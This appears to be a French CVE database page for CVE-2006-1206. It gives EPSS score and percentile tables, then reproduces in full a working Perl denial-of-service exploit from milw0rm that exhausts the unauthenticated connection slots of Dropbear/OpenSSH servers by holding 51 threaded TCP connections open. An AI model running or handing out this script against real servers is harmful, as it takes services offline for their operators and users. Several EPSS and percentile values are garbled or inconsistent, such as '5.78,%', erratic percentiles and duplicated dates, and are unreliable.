CVE-2006-1206 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	2.73%	–
2024-02-04	–	–	–	2.73%	–
2024-06-02	–	–	–	2.73%	–
2024-12-22	–	–	–	1.55%	–
2025-02-23	–	–	–	1.44%	–
2025-01-19	–	–	–	1.55%	–
2025-02-23	–	–	–	1.44%	–
2025-03-18	–	–	–	–	6.7%
2025-03-30	–	–	–	–	5.78%
2025-03-30	–	–	–	–	5.78,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	89%
2024-02-04	9%
2024-06-02	91%
2024-12-22	87%
2025-02-23	87%
2025-01-19	87%
2025-02-23	87%
2025-03-18	91%
2025-03-30	9%
2025-03-30	9%

#!/usr/bin/perl ## I needed a working test script so here it is. ## just a keep alive thread, I had a few problems with Pablo's code running properly. ## ## Straight from Pablo Fernandez's advisory: # Vulnerable code is in svr-main.c # # /* check for max number of connections not authorised */ # for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) { # if (childpipes[j] < 0) { # break; # } # } # # if (j == MAX_UNAUTH_CLIENTS) { # /* no free connections */ # /* TODO - possibly log, though this would be an easy way # * to fill logs/disk */ # close(childsock); # continue; # } ## /str0ke (milw0rm.com) use IO::Socket; use Thread; use strict; # thanks to Perl Underground for my moronic coding style fixes. my ($serv, $port, $time) = @ARGV; sub usage { print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n"; print "by /str0ke (milw0rm.com)\n"; print "Credits to Pablo Fernandez\n"; print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n"; exit (); } sub exploit { my ($serv, $port, $sleep) = @_; my $sock = new IO::Socket::INET ( PeerAddr => $serv, PeerPort => $port, Proto => 'tcp', ); die "Could not create socket: $!\n" unless $sock; sleep $sleep; close($sock); } sub thread { print "Server: $serv\nPort: $port\nSeconds: $time\n"; for my $i ( 1 .. 51 ) { print "."; my $thr = new Thread \&exploit, $serv, $port, $time; } sleep $time; #detach wouldn't be good } if (@ARGV != 3){&usage;}else{&thread;} # milw0rm.com [2006-03-10]